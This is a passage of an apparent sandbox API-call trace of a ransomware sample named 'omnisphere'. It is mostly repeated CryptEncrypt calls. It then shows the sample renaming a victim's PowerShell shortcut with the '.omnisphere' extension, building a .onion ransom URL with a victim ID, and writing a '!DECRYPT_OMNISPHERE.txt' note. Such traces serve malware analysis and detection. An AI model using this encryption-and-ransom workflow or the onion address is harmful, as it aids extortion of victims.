CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.961] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.961] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.961] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.961] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.961] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.961] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.961] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.962] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.962] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.962] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.962] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.962] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.962] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.962] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.962] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.962] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.962] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.962] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.962] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.962] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.962] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.962] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.963] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.963] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.963] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.963] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.963] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.963] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.963] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.963] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.963] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.963] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.963] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.963] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.963] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.963] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.964] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.964] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.964] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.964] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.964] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.964] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.964] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.964] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.964] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.964] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.964] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.964] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.964] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.964] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.964] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.965] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.965] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.965] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.965] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.965] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.965] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.965] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.965] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.965] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.965] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.965] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.965] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.965] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.965] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.966] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.966] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.966] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.966] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.966] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.966] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.966] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.966] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.966] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.966] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.966] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.966] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.966] CryptDestroyKey (hKey=0x16394e8) returned 1 [0148.966] CryptReleaseContext (hProv=0x1669230, dwFlags=0x0) returned 1 [0148.967] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x8bc, lpNewFilePointer=0x0, dwMoveMethod=0x3e0cdc8 | out: lpNewFilePointer=0x0) returned 1 [0148.967] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0c87c*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0cddc, lpOverlapped=0x0 | out: lpBuffer=0x3e0c87c*, lpNumberOfBytesWritten=0x3e0cddc*=0x524, lpOverlapped=0x0) returned 1 [0148.967] GetProcessHeap () returned 0x1600000 [0148.967] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2fe) returned 0x1731670 [0148.967] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\Windows PowerShell.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\windows powershell\\windows powershell.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\Windows PowerShell.lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\windows powershell\\windows powershell.lnk.omnisphere")) returned 1 [0148.982] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\Windows PowerShell.lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\Windows PowerShell.lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\Windows PowerShell.lnk.omnisphere.id" [0148.982] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\Windows PowerShell.lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\windows powershell\\windows powershell.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0148.983] WriteFile (in: hFile=0x3b4, lpBuffer=0x3e0c87c*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0c864, lpOverlapped=0x0 | out: lpBuffer=0x3e0c87c*, lpNumberOfBytesWritten=0x3e0c864*=0x524, lpOverlapped=0x0) returned 1 [0154.832] CloseHandle (hObject=0x3b4) returned 1 [0154.833] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0154.833] CloseHandle (hObject=0x388) returned 1 [0154.834] SetEndOfFile (hFile=0x3c0) returned 1 [0154.834] FlushFileBuffers (hFile=0x3c0) returned 1 [0154.879] CloseHandle (hObject=0x3c0) returned 1 [0154.879] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\Windows PowerShell.lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell") returned 1 [0154.879] GetProcessHeap () returned 0x1600000 [0154.879] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x1731978 [0154.879] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0154.879] GetProcessHeap () returned 0x1600000 [0154.879] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16fdb18 [0154.880] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16fdb18, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0154.880] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0154.880] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0154.880] GetProcessHeap () returned 0x1600000 [0154.880] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x1726c18 [0154.880] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x1726c18, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0154.880] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0154.880] GetProcessHeap () returned 0x1600000 [0154.880] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xf0) returned 0x1731e98 [0154.880] PathCombineW (in: pszDest=0x1731e98, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\!DECRYPT_OMNISPHERE.txt" [0154.880] GetProcessHeap () returned 0x1600000 [0154.880] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x1722a98 [0154.881] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\windows powershell\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0154.882] WriteFile (in: hFile=0x3c0, lpBuffer=0x1722a98*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0cdfc, lpOverlapped=0x0 | out: lpBuffer=0x1722a98*, lpNumberOfBytesWritten=0x3e0cdfc*=0x588, lpOverlapped=0x0) returned 1 [0154.882] CloseHandle (hObject=0x3c0) returned 1 [0154.882] GetProcessHeap () returned 0x1600000 [0154.882] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1731978 | out: hHeap=0x1600000) returned 1 [0154.882] GetProcessHeap () returned 0x1600000 [0154.882] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xe6) returned 0x17306c8 [0154.882] PathCombineW (in: pszDest=0x17306c8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows 